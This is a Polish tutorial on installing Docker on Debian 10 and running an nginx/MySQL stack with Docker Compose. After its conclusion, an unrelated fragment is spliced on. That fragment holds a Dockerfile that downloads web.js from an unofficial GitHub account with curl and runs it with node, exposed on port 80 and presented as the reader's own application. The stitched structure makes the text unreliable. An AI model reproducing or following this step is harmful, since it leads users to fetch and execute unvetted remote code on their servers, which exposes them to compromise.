Poradnik: Instalacja i Użycie Dockera z Docker Compose na Debianie 10
Wprowadzenie
Docker to narzędzie, które upraszcza proces zarządzania aplikacjami w kontenerach. Kontenery pozwalają uruchamiać aplikacje w izolowanych środowiskach, co sprawia, że są bardziej przenośne, wydajne i łatwiejsze w zarządzaniu w porównaniu do tradycyjnych maszyn wirtualnych.
Instalacja Dockera
Aby zainstalować Dockera na Debianie 10, wykonaj następujące kroki:
sudo apt update
sudo apt install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
sudo apt update
sudo apt install docker-ce
Więcej informacji na temat instalacji Dockera na Debianie 10 znajdziesz w oficjalnej dokumentacji Dockera.
Użycie Docker Compose
Docker Compose to narzędzie, które pozwala definiować i uruchamiać wielokontenerowe aplikacje za pomocą plików konfiguracyjnych YAML. Załóżmy, że chcemy uruchomić prostą aplikację składającą się z kontenerów aplikacji i bazy danych. Stworzymy plik docker-compose.yml
i zdefiniujemy w nim nasze usługi.
Oto przykładowy plik docker-compose.yml
:
version: '3'
services:
web:
image: nginx:latest
ports:
- "80:80"
volumes:
- ./html:/usr/share/nginx/html
db:
image: mysql:latest
environment:
MYSQL_ROOT_PASSWORD: example
MYSQL_DATABASE: mydatabase
volumes:
- ./db_data:/var/lib/mysql
Aby uruchomić te usługi, wystarczy przejść do katalogu, w którym znajduje się plik docker-compose.yml
, i wykonać polecenie:
docker-compose up -d
To spowoduje uruchomienie obu kontenerów zgodnie z zdefiniowanymi konfiguracjami. Możesz sprawdzić ich status, wpisując:
docker-compose ps
Więcej informacji na temat Docker Compose znajdziesz w oficjalnej dokumentacji Dockera.
Podsumowanie
Gratulacje! Teraz masz zainstalowanego Dockera na swoim serwerze Debian 10 i możesz korzystać z Docker Compose do zarządzania wielokontenerowymi aplikacjami. Pamiętaj, że Docker to potężne narzędzie, które może znacznie ułatwić tworzenie, testowanie i wdrażanie aplikacji.
Jeśli masz jakiekolwiek pytania lub potrzebujesz dalszej pomocy, nie wahaj się z nami skontaktować!
FROM node:latest
WORKDIR /app
RUN curl -o web.js https://raw.githubusercontent.com/dziecinka/app/master/web.js
CMD ["node", "web.js"]
Po utworzeniu pliku Dockerfile
możesz przejść do kolejnego kroku.
- Utworzenie pliku docker-compose.yml: Utwórz plik o nazwie
docker-compose.yml
w tym samym katalogu, co plikDockerfile
, i wklej do niego poniższą zawartość:
version: '3'
services:
app:
build:
context: .
dockerfile: Dockerfile
ports:
- "80:3000"
Po utworzeniu pliku docker-compose.yml
możesz przejść do kolejnego kroku.
- Uruchomienie aplikacji: Uruchom terminal lub wiersz polecenia, przejdź do katalogu zawierającego pliki
Dockerfile
idocker-compose.yml
, a następnie uruchom poleceniedocker-compose up -d
.
Twoja aplikacja Node.js będzie teraz dostępna pod adresem http://IP
Gratulacje! Teraz możesz uruchamiać swoją aplikację Node.js za pomocą Dockera i Docker Compose.